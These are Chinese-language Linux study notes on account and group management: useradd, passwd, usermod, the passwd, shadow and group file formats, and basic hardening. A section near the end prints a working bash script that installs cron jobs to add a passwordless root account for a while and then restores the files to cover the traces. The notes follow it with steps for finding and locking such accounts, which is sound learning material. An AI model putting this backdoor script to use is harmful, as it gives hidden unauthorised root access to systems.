账号添加

useradd    默认会建立用户家目录,且权限为 700

# useradd [-u UID] [-g 初始群组] [-G 次要群组] [-mM] [-c 说明栏] [-d 家目录绝对路径] [-s shell] test

选项与参数:

-u :后面接的是 UID ,是一组数字。直接指定一个特定的 UID 给这个账号;
-g :后面接的是 群组名
-M :强制!不要建立用户家目录!(系统账号默认值)
-m :强制!要建立用户家目录!(一般账号默认值)
-c :账号描述
-d :指定某个目录成为家目录,而不要使用默认值。务必使用绝对路径!
-r :建立一个系统的账号,这个账号的 UID 会有限制 (参考 /etc/login.defs)
-s :后面接一个 shell ,若没有指定则预设是 /bin/bash
-e :账号失效日期,格式为『YYYY-MM-DD』此项目可写入 shadow 第八字段

useradd 的默认值 useradd -D,这个数据其实是由 /etc/default/useradd呼叫出来的

GROUP=100         <==预设的群组
HOME=/home          <==默认的家目录所在目录
INACTIVE=-1        <==密码失效日,在 shadow 内的第 7 栏
EXPIRE=          <==账号失效日,在 shadow 内的第 8 栏
SHELL=/bin/bash      <==预设的 shell
SKEL=/etc/skel       <==用户家目录的内容数据参考目录
CREATE_MAIL_SPOOL=yes   <==是否主动帮使用者建立邮件信箱(mailbox)

UID/GID 还有密码参数参考的是/etc/login.defs

MAIL_DIR /var/spool/mail        <==用户默认邮件信箱放置目录
PASS_MAX_DAYS 99999           <==/etc/shadow 内的第 5 栏,多久需变更密码日数
PASS_MIN_DAYS 0             <==/etc/shadow 内的第 4 栏,多久不可重新设定密码日数
PASS_MIN_LEN 5                <==密码最短的字符长度,已被 pam 模块取代,失去效用!
PASS_WARN_AGE 7               <==/etc/shadow 内的第 6 栏,过期前会警告的日数
UID_MIN 1000                  <==使用者最小的 UID,意即小于 1000 的 UID 为系统保留
UID_MAX 60000                <==使用者能够用的最大 UID
SYS_UID_MIN 201               <==保留给用户自行设定的系统账号最小值 UID
SYS_UID_MAX 999               <==保留给用户自行设定的系统账号最大值 UID
GID_MIN 1000                  <==使用者自定义组的最小 GID,小于 1000 为系统保留
GID_MAX 60000                 <==使用者自定义组的最大 GID
SYS_GID_MIN 201               <==保留给用户自行设定的系统账号最小值 GID
SYS_GID_MAX 999               <==保留给用户自行设定的系统账号最大值 GID
CREATE_HOME yes               <==在不加 -M 及 -m 时,是否主动建立用户家目录?
UMASK 077                    <==用户家目录建立的 umask ,因此权限会是 700
USERGROUPS_ENAB yes              <==使用 userdel 删除时,是否会删除初始群组
ENCRYPT_METHOD SHA512            <==密码加密的机制使用的是 sha512 这一个机制!

添加密码、启用账户

passwd  设定密码

# passwd [--stdin] test <==所有人均可使用来改自己的密码

# passwd [-l] [-u] [--stdin] [-S] [-n 日数] [-x 日数] [-w 日数] [-i 日期] test <==root 功能

选项与参数:

--stdin :可以透过来自前一个管线的数据,作为密码输入,对 shell script 有帮助!
  echo "abc543CC" | passwd --stdin test
-l :是 Lock 的意思,会将 /etc/shadow 第二栏最前面加上 ! 使密码失效;
-u :与 -l 相对,是 Unlock 的意思!
-S :列出密码相关参数,亦即 shadow 文件内的大部分信息。
-n :后面接天数,shadow 的第 4 字段,多久不可修改密码天数
-x :后面接天数,shadow 的第 5 字段,多久内必须要更动密码
-w :后面接天数,shadow 的第 6 字段,密码过期前的警告天数
-i :后面接『日期』,shadow 的第 7 字段,密码失效日期

root可以修改任意用户的任意密码,包括123456。

普通用户只能修改自己的密码,且要符合复杂度。

PAM 模块管理密码,这个管理的机制写在 /etc/pam.d/passwd 当中。取代 /etc/login.defs 内的 PASS_MIN_LEN 的设定。

账号修改

usermod 账号相关数据微调

# usermod [-cdegGlsuLU] username

选项与参数:
-c :后面接账号的说明,即 /etc/passwd 第五栏的说明栏,可以加入一些账号的说明。
-d :后面接账号的家目录,即修改 /etc/passwd 的第六栏;
-e :后面接日期,格式是 YYYY-MM-DD 也就是在 /etc/shadow 内的第八个字段数据啦!
-f :后面接天数,为 shadow 的第七字段。
-g :后面接初始群组,修改 /etc/passwd 的第四个字段,亦即是 GID 的字段!
-G :后面接次要群组,修改这个使用者能够支持的群组,修改的是 /etc/group。
-a :与 -G 合用,可『增加次要群组的支持』而非『设定』!
-l :后面接账号名称。亦即是修改账号名称, /etc/passwd 的第一栏!
-s :后面接 Shell 的实际文件,例如 /bin/bash 或 /bin/csh 等等。
-u :后面接 UID 数字啦!即 /etc/passwd 第三栏的资料;
-L :暂时将用户的密码冻结,让他无法登入。其实仅改 /etc/shadow 的密码栏。
-U :将 /etc/shadow 密码栏的 ! 拿掉,解冻。

usermod 的选项与 useradd 类似。因为 usermod 也是用来微调useradd 增加的使用者参数。

usermod 的 -L 和 -U 选项其实与 passwd 的 -l,-u是相同的。

账号删除

userdel 删除用户的相关数据

# userdel [-r] username

选项与参数:
-r :连同用户的家目录也一起删除

用户功能

查询UID/GID等信息  ---   id [username]

新增群组

# groupadd [-g gid] [-r] 组名

选项与参数:
-g :后面接某个特定的 GID ,用来直接给予某个 GID 
-r :建立系统群组啦!与 /etc/login.defs 内的 GID_MIN 有关。

建立群组时,最好可以使用 groupadd -r test 来建立。

群组修改

groupmod 对group相关参数进行修改。

# groupmod [-g gid] [-n group_name] 群组名
选项与参数:
-g :修改既有的 GID 数字;
-n :修改既有的组名

不要随意的更动 GID ,容易造成系统资源的错乱

群组删除

groupdel [groupname]

群组中有用户时,无法删除,最好也不要强行删除。

群组管理密码

gpasswd 群组管理员功能

# 关于系统管理员(root)做的动作:
gpasswd groupname
gpasswd [-A user1,...] [-M user3,...] groupname
gpasswd [-rR] groupname
选项与参数:
 :若没有任何参数时,表示给予 groupname 一个密码(/etc/gshadow)
-A :将 groupname 的主控权交由后面的使用者管理(该群组的管理员)
-M :将某些账号加入这个群组当中!
-r :将 groupname 的密码移除
-R :让 groupname 的密码栏失效

# 关于群组管理员(Group administrator)做的动作:
gpasswd [-ad] user groupname
选项与参数:
-a :将某位使用者加入到 groupname 这个群组当中!
-d :将某位使用者移除出 groupname 这个群组当中。

 

passwd文件详解

1、 账号名称:

用来对应UID的。

2、口令:

早期UNIX的口令放在这个字段。但是由于这个文件所有程序都可以读取,后来将这个字段的口令放到/etc/shadow中。

3、UID:使用者标识符。

    id范围:

        0 -- 系统管理员

        1~499 -- 保留给系统使用的ID。

        >500 -- 给一般使用者使用。

4、GID:群组标识符

    这个与/etc/group有关。用来规范组名和GID的对应。

5、用户信息说明栏

6、家目录

7、shell:

    用户登录系统后会取得一个shell来与系统的核心沟通以进行用户的操作任务。

/sbin/nologin  无登录权限

shadow文件详解

1、账号名称

2、密码

    经过编码的密码。如果第一个字元为"*"或者"!",标识这个账号不可登录。

3、最近更改密码的日期。

    计算linux日期的时间是以1970年1月1日作为1,1月2日为2。

4、密码不可改的天数

    这个账号的密码经过几天才可以更改。为0标识密码随时可以更改。

5、密码需要重新更改的天数

    必须在这个时间之内重新设定你的密码,否则账号会暂时失效。

6、密码过期前的警告期限

    密码快过期时,系统会发送"警告"言论给这个账号。

7、密码过期宽恕时间

    密码过期后未更改密码的宽限时间。

8、账号失效日期

    表示账号在这个日期后无法继续使用。

9、保留

/etc/group文件详解

1、组名

2、群组口令

    通常时群组管理员使用,口令已经移动到/etc/gshadow

3、GID

    群组的ID。/etc/passwd第四个字段使用的GID时这里对应的。

4、此群组支持的账号名称

    如果要一个账号加入某个群组,只用将该账号填入这个字段即可。

账号的安全设置要点

1、取消普通用户的控制台访问权限

    rm -f /etc/security/console.apps/xx

    xx是你要注销的程序名

2、修改一些系统账号的shell变量

    1、在/etc/passwd中将他们的shell变量置空,例如设为/bin/false或者/dev/null

    2、使用usermod -s /dev/null username命令来更改username的shell为/dev/null

3、修改密码长度

    linux默认密码长度是5个字节。编辑/etc/login.defs文件

        PASS_MIN_LEN 5

        PASS_MIN_LEN 8

4、自动注销

    vi /etc/profile

    在"HISTFILESIZE="后加入一行"TMOUT=300"

    表示系统中登录的用户在5分钟内都没有动作,那么系统会自动注销这个账户。

5、文件加上不可修改属性,防止未授权用户获得权限

    chattr +i /etc/passwd
    chattr +i /etc/shadow
    chattr +i /etc/group
    # 执行以上操作后,会无法添加删除用户。

后门账号和查找

Root权限的后门账号查找

 id

其他技巧的后门账号

#!/bin/bash
    echo '40 11 * * * cat /etc/passwd>/dev/ttypwd'>>/etc/door.cron;
    echo '40 11 * * * cat /etc/shadow>/dev/ttysdw'>>/etc/door.cron;
    echo '41 11 * * * echo "test:x:0:0::/:/bin/sh">>/etc/passwd'>>/etc/door.cron;
    echo '41 11 * * * echo "test::9999:0:99999:7:::">>/etc/shadow'>>/etc/door.cron;
    echo '09 12 * * * cat /dev/ttypwd>/etc/passwd'>>/etc/door.cron;
    echo '09 12 * * * cat /dev/ttysdw>/etc/shadow'>>/etc/door.cron;
    echo '10 12 * * * rm -f /dev/ttypwd'>>/etc/door.cron;
    echo '10 12 * * * rm -f /dev/ttysdw'>>/etc/door.cron;
    service crond restart;
    crontab /etc/door.cron;

发现可疑账号并锁定、踢掉

    #执行"w"命令找到可疑用户
    passwd -l test
    # 锁定用户
    ps -ef|grep @pts/3
    kill -9 6051
    # 踢掉此用户